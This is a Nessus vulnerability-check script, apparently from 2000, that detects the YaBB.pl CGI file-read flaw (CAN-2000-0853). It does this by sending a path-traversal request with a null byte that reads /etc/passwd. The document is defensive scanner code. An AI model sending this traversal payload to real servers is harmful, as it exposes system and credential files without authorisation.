1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
|
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10512);
script_cve_id("CAN-2000-0853");
name["english"] = "YaBB";
name["francais"] = "YaBB";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "The 'YaBB.pl' CGI is installed. This CGI has
a well known security flaw that lets an attacker read arbitrary
files with the privileges of the http daemon (usually root or nobody).
Solution : remove 'YaBB.pl' from /cgi-bin or upgrade to the latest version.
Risk factor : Serious";
desc["francais"] = "Le cgi 'YaBB.pl' est install. Celui-ci possde
un problme de scurit bien connu qui permet n'importe qui de
faire lire des fichiers arbitraires au daemon http, avec les privilges
de celui-ci (root ou nobody).
Solution : retirez-le de /cgi-bin ou mettez-le jour
Facteur de risque : Srieux";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Checks for the presence of /cgi-bin/YaBB.pl";
summary["francais"] = "Vrifie la prsence de /cgi-bin/YaBB.pl";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
family["english"] = "CGI abuses";
family["francais"] = "Abus de CGI";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
port = is_cgi_installed("YaBB.pl");
if(port){
req = string(cgibin(), "/YaBB.pl?board=news&action=display&num=../../../../../../etc/passwd%00");
req = http_get(item:req, port:port);
soc = open_sock_tcp(port);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
close(soc);
if("root:" >< r)
security_hole(port);
}
|